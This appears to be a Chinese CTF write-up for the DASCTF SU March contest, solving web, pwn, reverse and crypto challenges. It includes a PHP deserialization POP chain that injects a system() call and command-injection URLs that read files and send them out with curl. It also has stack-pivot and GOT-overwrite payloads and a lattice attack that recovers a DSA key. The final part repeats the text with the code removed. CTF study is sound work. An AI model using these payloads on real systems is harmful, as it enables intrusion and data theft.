DASCTF SU三月赛 WriteUp
字数 984 2025-08-07 08:22:31

DASCTF SU三月赛 WriteUp 详细解析

0x01 Web 题目解析

ezpop 题目解析

题目类型:PHP 反序列化漏洞利用

解题要点

  1. 构造POP链绕过eval函数的注释限制
  2. 利用类之间的相互引用关系

关键代码分析

class crow {
    public $v1;
    public $v2;
    function __construct($v1,$v2) {
        $this->v1=$v1;
        $this->v2=$v2;
    }
}

class fin {
    public $f1;
    function __construct($f1) {
        $this->f1=$f1;
    }
}

class what {
    public $a;
    function __construct($a) {
        $this->a=$a;
    }
}

class mix {
    public $m1;
    function __construct($m1) {
        $this->m1=$m1;
    }
}

利用链构造

$a = new fin(new what(new fin(new crow(new fin(new mix("?><?php system('cat *');?>")),'aa'))));
echo urlencode(serialize($a));

解题步骤

  1. 分析类结构,找到可以利用的类
  2. 构造嵌套对象,最终注入PHP代码
  3. 通过反序列化触发代码执行

clac 题目解析

题目类型:命令注入漏洞

解题要点

  1. 利用#注释符绕过输入过滤
  2. 分阶段获取flag

利用方式

  1. 第一阶段将回显写入文件:
/calc?num=1%23`cat%09/*>/y3`
  1. 第二阶段通过curl带出文件内容:
/calc?num=1%23`curl%09127.0.0.1:1234%09-F%09xx=@/y3`

0x02 Misc 题目解析

月圆之夜

解题方法

  1. 查找字母表对应关系
  2. 直接得到flag:DASCTF{welcometothefullmoonnight}

问卷题

解题方法:填写问卷即可

0x03 Pwn 题目解析

checkin

题目类型:栈溢出+栈迁移

解题要点

  1. 利用0x10字节的栈溢出
  2. 结合栈迁移和GOT表修改技术

利用步骤

  1. 第一次payload进行栈迁移:
payload = b"a"*0xa0 + p64(0x4040c0+0xa0) + p64(0x4011BF)
  1. 第二次payload利用csu gadget修改GOT表:
payload = flat([
    0x404140,    #nouse
    0x40124A,    # pop 6
    0,1,         #rbx rbp
    0x404040,    # stdout r12
    0,0,         # r13 r14
    0x404020,    #r15 setvbuf_got
    0x401230,    # ret
    0,0,         #+8 rbx
    0x404140,    #rbp
    0,0,0,0,     #12 13 14 15
    0x4011BF     #read = put
])
  1. 最终发送shellcode获取权限

0x04 Re 题目解析

easyre

题目类型:ESP + RC4加密

解题要点

  1. 逆向分析加密算法
  2. 注意数据修正

关键代码

for ( i = 0; i < 42; i++ )
    printf("%c", xorKeyy[i] & 0xFF ^ (data[i] - 71));

解题步骤

  1. 分析RC4初始化函数
  2. 理解加密过程中的位操作
  3. 实现解密算法

0x05 Crypto 题目解析

FlowerCipher

题目类型:自定义加密算法

解题要点

  1. 逆向加密过程
  2. 利用数学关系恢复flag

关键代码

def Flower(x, key):
    flower = random.randint(0, 4096)
    return x * (key ** 3 + flower)

解题方法

  1. 通过L%R关系逆向计算
  2. 对结果开三次方获取原始字符

meet me in the middle

题目类型:DSA签名算法漏洞利用

解题要点

  1. 利用DSA签名中的k值泄露
  2. 构造格子攻击

利用步骤

  1. 获取中间值k0和k1
  2. 构造矩阵进行BKZ算法攻击
  3. 恢复私钥x

关键代码

Mat = matrix(
    [[K,K*(1<<l),K*int(t),K*int(t)*(1<<l),u_],
    [0,K*q,0,0,0],
    [0,0,K*q,0,0],
    [0,0,0,K*q,0],
    [0,0,0,0,q]]
)
mat_bkz = Mat.BKZ(block_size = 22)
  1. 最终使用恢复的私钥伪造管理员签名获取flag

总结

本次比赛涵盖了多种安全技术领域,包括:

  • Web安全中的反序列化漏洞和命令注入
  • 逆向工程中的加密算法分析
  • Pwn中的栈溢出和GOT表利用
  • 密码学中的DSA签名漏洞利用

每个题目都需要深入理解相关技术原理,并能够灵活运用各种攻击技巧。

DASCTF SU三月赛 WriteUp 详细解析 0x01 Web 题目解析 ezpop 题目解析 题目类型 :PHP 反序列化漏洞利用 解题要点 : 构造POP链绕过eval函数的注释限制 利用类之间的相互引用关系 关键代码分析 : 利用链构造 : 解题步骤 : 分析类结构,找到可以利用的类 构造嵌套对象,最终注入PHP代码 通过反序列化触发代码执行 clac 题目解析 题目类型 :命令注入漏洞 解题要点 : 利用 # 注释符绕过输入过滤 分阶段获取flag 利用方式 : 第一阶段将回显写入文件: 第二阶段通过curl带出文件内容: 0x02 Misc 题目解析 月圆之夜 解题方法 : 查找字母表对应关系 直接得到flag: DASCTF{welcometothefullmoonnight} 问卷题 解题方法 :填写问卷即可 0x03 Pwn 题目解析 checkin 题目类型 :栈溢出+栈迁移 解题要点 : 利用0x10字节的栈溢出 结合栈迁移和GOT表修改技术 利用步骤 : 第一次payload进行栈迁移: 第二次payload利用csu gadget修改GOT表: 最终发送shellcode获取权限 0x04 Re 题目解析 easyre 题目类型 :ESP + RC4加密 解题要点 : 逆向分析加密算法 注意数据修正 关键代码 : 解题步骤 : 分析RC4初始化函数 理解加密过程中的位操作 实现解密算法 0x05 Crypto 题目解析 FlowerCipher 题目类型 :自定义加密算法 解题要点 : 逆向加密过程 利用数学关系恢复flag 关键代码 : 解题方法 : 通过L%R关系逆向计算 对结果开三次方获取原始字符 meet me in the middle 题目类型 :DSA签名算法漏洞利用 解题要点 : 利用DSA签名中的k值泄露 构造格子攻击 利用步骤 : 获取中间值k0和k1 构造矩阵进行BKZ算法攻击 恢复私钥x 关键代码 : 最终使用恢复的私钥伪造管理员签名获取flag 总结 本次比赛涵盖了多种安全技术领域,包括: Web安全中的反序列化漏洞和命令注入 逆向工程中的加密算法分析 Pwn中的栈溢出和GOT表利用 密码学中的DSA签名漏洞利用 每个题目都需要深入理解相关技术原理,并能够灵活运用各种攻击技巧。